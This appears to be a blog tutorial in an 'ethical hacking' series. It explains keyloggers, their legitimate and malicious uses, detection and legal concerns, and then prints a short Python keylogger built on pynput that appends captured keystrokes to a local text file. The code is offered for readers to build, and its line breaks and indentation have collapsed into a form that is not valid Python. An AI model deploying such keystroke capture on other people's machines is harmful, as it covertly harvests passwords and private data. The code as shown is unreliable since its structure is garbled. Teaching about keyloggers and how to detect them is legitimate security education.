Blackhat Python: Creating a Keylogger with Python

Ethical Hacking-Blackhat Python

How to create a Keylogger with Python

In this Ethical hacking guide about Blackhat Python, we will learn about “Keyloggers”. Then we will use Python to create our own “Keylogger” script.

What is a Keylogger?

A keylogger, short for “keystroke logger,” is a type of software or hardware device designed to record and monitor the keystrokes made on a computer or mobile device’s keyboard. The primary purpose of a keylogger is to capture the keys pressed by a user, including letters, numbers, symbols, and special function keys, and then log or transmit this information to another party. Keyloggers can be used for various purposes, both legitimate and malicious.

Key Points About Keyloggers

Legitimate Uses:

There are legitimate and legal uses of keyloggers, such as for troubleshooting technical issues, monitoring children’s computer activities, or tracking employee productivity.

Malicious Uses: 

Malicious keyloggers are often used by cybercriminals for covertly capturing sensitive and personal information, such as login credentials, credit card numbers, and other confidential data.

Types of Keyloggers:

  • Software Keyloggers: These are programs installed on the target computer. They can be hidden or visible, depending on the intent of the user.
  • Hardware Keyloggers: Physical devices that are inserted between the computer’s keyboard and the computer itself. They record keystrokes in real-time.
Keylogger Detection:

Detecting keyloggers can be challenging, as they often run silently in the background. Some security software and anti-malware tools can detect and remove keyloggers.


To protect against keyloggers, individuals and organizations should practice safe computing habits, use strong passwords, keep software up to date, and use security software with real-time monitoring.

Legal and Ethical Considerations:

The use of keyloggers is subject to legal and ethical considerations. Unauthorized use of keyloggers to capture someone’s keystrokes without their consent can be illegal and unethical.

Anti-Keylogger Software:

There is anti-keylogger software available that aims to prevent keyloggers from capturing keystrokes, often by encrypting or obfuscating the input.

It’s important to note that while some keyloggers serve legitimate purposes, others can be used for malicious activities, including identity theft and unauthorized access to personal or sensitive information. Users should be vigilant in protecting their privacy and security, and only use keyloggers for lawful and ethical purposes. Furthermore, organizations and individuals should be aware of the potential risks and take steps to mitigate them.

Python Keylogger Code:

#KeyLogger Project from freecodecamp on youtube
import pynput
from pynput.keyboard import Key, Listener

count=0 keys=[]
def on_press(Key): global keys, count keys.append(Key) count +=1 if count >=10: write_file(keys) count=0 keys=[]

def write_file(keys): with open("/home/pi/Desktop/KeyLog.txt", "a") as f: f.write('\n') for Key in keys: k =str(Key).replace("'","") if k.find("space") >0: f.write('\n') elif k.find("Key")==-1: f.write(k)

def on_release(Key): pass

with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()


In the world of digital security, keyloggers occupy a unique and often controversial place. These tools, with their dual nature, can serve both constructive and malicious purposes. While legitimate uses such as troubleshooting, parental monitoring, and employee oversight are well-established, it’s crucial to acknowledge their potential for abuse. Malicious keyloggers, when employed by cybercriminals, threaten individual privacy and data security.

To navigate the landscape of keyloggers responsibly, one must be informed, vigilant, and proactive. Vigilance includes protecting personal information, keeping software up to date, and using security measures to prevent and detect unauthorized use. Proactivity calls for ethical considerations and adherence to the law when deploying keyloggers. As technology continues to evolve, the ethical use of keyloggers remains a cornerstone of responsible computing practices, emphasizing the need to strike a balance between the benefits of legitimate monitoring and the preservation of individual privacy.

Read more of our Python guides here: Python Guides


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Luke Barber

Hello, fellow tech enthusiasts! I'm Luke, a passionate learner and explorer in the vast realms of technology. Welcome to my digital space where I share the insights and adventures gained from my journey into the fascinating worlds of Arduino, Python, Linux, Ethical Hacking, and beyond. Armed with qualifications including CompTIA A+, Sec+, Cisco CCNA, Unix/Linux and Bash Shell Scripting, JavaScript Application Programming, Python Programming and Ethical Hacking, I thrive in the ever-evolving landscape of coding, computers, and networks. As a tech enthusiast, I'm on a mission to simplify the complexities of technology through my blogs, offering a glimpse into the marvels of Arduino, Python, Linux, and Ethical Hacking techniques. Whether you're a fellow coder or a curious mind, I invite you to join me on this journey of continuous learning and discovery.

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